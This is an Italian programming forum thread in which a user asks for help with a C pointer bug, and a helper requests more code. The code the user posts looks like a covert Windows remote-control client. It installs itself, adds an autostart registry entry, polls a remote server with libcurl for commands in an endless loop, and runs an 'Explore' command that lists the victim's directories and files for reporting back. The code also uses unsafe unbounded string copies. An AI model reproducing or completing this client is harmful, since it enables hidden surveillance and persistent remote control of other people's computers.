PDA

Visualizza la versione completa : [C] Puntatore deinizializzato senza apparente motivo


Salvy95
21-07-2011, 14:22
Salve ragazzi, ho un problemuccio con un puntatore malefico che ama farmi brutti scherzi, vi posto subito il codice




int Explore(char * directory, char * id){
char DATA[10256] = {NULL};
char DATAFILE[5000] = {NULL};
char DATADIR[5000] = {NULL};
strcpy(DATA, directory); // strcpy cancella la stringa! Uff!
strcat(DATA, "^|^");
strcat(directory, "*.*");

Continua...


in sostanza, io passo come argomento alla funzione Explore un puntatore a char, contenente una directory, vorrei copiare questa directory all'interno della stringa data, ma, non appena supero il prototipo della funzione, char * directory non punta pi alla directory, ma ad un indirizzo sconosciuto. Inoltre, se questo pu servirvi, viene comunque copiato il valore puntato da directory in DATA, ma il debugger prima di copiare l'intero valore si blocca per N volte all'istruzione, dove N uguale al numero di caratteri puntati da directory!
quindi devo premere la freccetta verde per un sacco di volte prima di proseguire all'istruzione successiva, dove per trovo directory come se fosse stato svuotato... Aiuto!

oregon
21-07-2011, 14:50
Ho capito poco della spiegazione ma bisogna anche vedere il codice con cui chiami quella funzione ...

Magari facci anche un esempio di quello che succede con dei dati ...

Salvy95
21-07-2011, 21:56
Ok, questa la funzione explore per intero



int Explore(char * directory, char * id){
char DATA[10256] = {NULL};
char DATAFILE[5000] = {NULL};
char DATADIR[5000] = {NULL};
strcpy(DATA, directory); // strcpy cancella la stringa! Uff!
strcat(DATA, "^|^");
strcat(directory, "*.*");
WIN32_FIND_DATA FindFileData;
HANDLE hSearch;
hSearch = FindFirstFile(directory, &FindFileData);
if(FindFileData.dwFileAttributes >= 16 && FindFileData.dwFileAttributes <= 31){
strcat(DATADIR, FindFileData.cFileName);
strcat(DATADIR, SEPARATORE);
}
else{
strcat(DATAFILE, FindFileData.cFileName);
strcat(DATAFILE, SEPARATORE);
}
while(FindNextFile(hSearch, &FindFileData) != 0){
if(FindFileData.dwFileAttributes >= 16 && FindFileData.dwFileAttributes <= 31){
strcat(DATADIR, FindFileData.cFileName);
strcat(DATADIR, SEPARATORE);
}
else{
strcat(DATAFILE, FindFileData.cFileName);
strcat(DATAFILE, SEPARATORE);
}
}
strcat(DATA, DATADIR);
strcat(DATA, "^|^");
strcat(DATA, DATAFILE);
list(DATA, id);
return 0;
}


Questo invece il codice con cui viene richiamata



else if(!strcmp((command), "Explore")){
Explore(arg1, cpid);
}

oregon
21-07-2011, 22:34
Ma arg1 come l'hai definito?

Salvy95
22-07-2011, 13:04
lo scarico dal mio server.... un comando che varia sempre!

oregon
22-07-2011, 13:08
Mi interessa sapere come definito non da dove lo scarichi ... mostra il codice ...

Salvy95
22-07-2011, 13:11
Allora, lo inizializzo nella main:




#include <Windows.h>
#include <curl\curl.h>
#include <transact.h>
#include "macro.h"
#include "stringhe.h"
#include "client.h"
#include "NetQuery.h"
#include "iKey.h"
#include "install.h"
#include "datastream.h"
#define MAX_DATA 1000
#define MAX_PATHi 150

#pragma comment(lib, "libcurld_imp.lib")

char string[MAX_DATA];
size_t function( char *ptr, size_t size, size_t nmemb, void *userdata){
strcat(string, ptr);
return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
FILE * stream;
CURL *curl;
CURLcode res;
char * cmd[4] = {NULL, NULL, NULL, NULL};
char PATHi[MAX_PATHi];
strcpy(PATHi, installPATH);
char URL[150];
strcpy(URL, CLASSES);
strcat(URL, "request=showUsingId&id=");
int e;
int id;
char FURL[160];
char id_storage[6];

//SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
if((stream = fopen(strcat(PATHi, LOG), "r")) == NULL){
e = install(LOG);
AddAutoStartKey(TRUE);
}
else{
fclose(stream);
}

id = getRecord(PATHi);
_itoa(id, id_storage, 10);
sprintf(FURL, "%s%s%s%s", URL, id_storage, "&version=", VERSION);
while(1){
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, FURL);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, function);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
explode(string, cmd, "\n");
if(strlen(cmd[1]) > 10){
client_easy_init(cmd[1], cmd[3]);
string[0] = '\0';
Sleep(1500);
}
else{
//Aspettiamo che l'utente si riconnetta ad internet e ripetiamo il ciclo
string[0] = '\0';
Sleep(1500);
}
}
}
return 0;
}






e lo passo come argomento qui:





#include <string.h>
#include <Windows.h>
#include <time.h>
#include "macro.h"
#include "stringhe.h"
#include "funzioni.h"
#include "NetQuery.h"
#include "datastream.h"

bool client_easy_init(char *action, char *args){
if(!strcmp(args, "argc = ")){ // Se la lista dei comandi vuota torna alla main in attesa di un comando.
return false;
}
int pid;
char cpid[6];
int MB;
char cMB[10];
char * command = NULL;
char * argc = NULL;
char *arg1 = NULL, *arg2 = NULL, *arg3 = NULL;
command = action + 10;
argc = args + 7;
arg1 = strtok(argc, "_");
arg2 = strtok(NULL, "_");
arg3 = strtok(NULL, "_");


CONTINUA...

Loading